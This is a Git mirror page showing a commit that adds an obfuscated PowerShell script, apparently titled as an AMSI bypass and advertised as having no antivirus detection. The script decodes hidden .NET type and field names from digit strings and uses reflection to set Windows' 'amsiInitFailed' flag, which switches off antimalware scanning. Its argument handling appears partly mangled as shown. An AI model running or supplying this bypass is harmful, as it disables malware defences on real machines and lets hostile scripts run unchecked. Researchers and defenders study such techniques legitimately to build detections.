admin/tihanyin-PSSW100AVB
1
0
Fork 0
mirror of https://github.com/tihanyin/PSSW100AVB synced 2026-06-21 14:11:13 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create AMSI_bypass_2021_09.ps1

Browse Source
This commit is contained in:
Norbert Tihanyi, Phd
2021-10-08 21:54:00 +04:00
committed by GitHub
parent b4894ac410
commit c849bfba81
1 changed files with 9 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
AMSI_bypass_2021_09.ps1
+9
View File
@@ -0,0 +1,9 @@
#Twitter: @TihanyiNorbert (No AV detecetion 2021 October)
#Based on the original work of Matt Graeber @mattifestation 'amsiInitFailed' script.
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)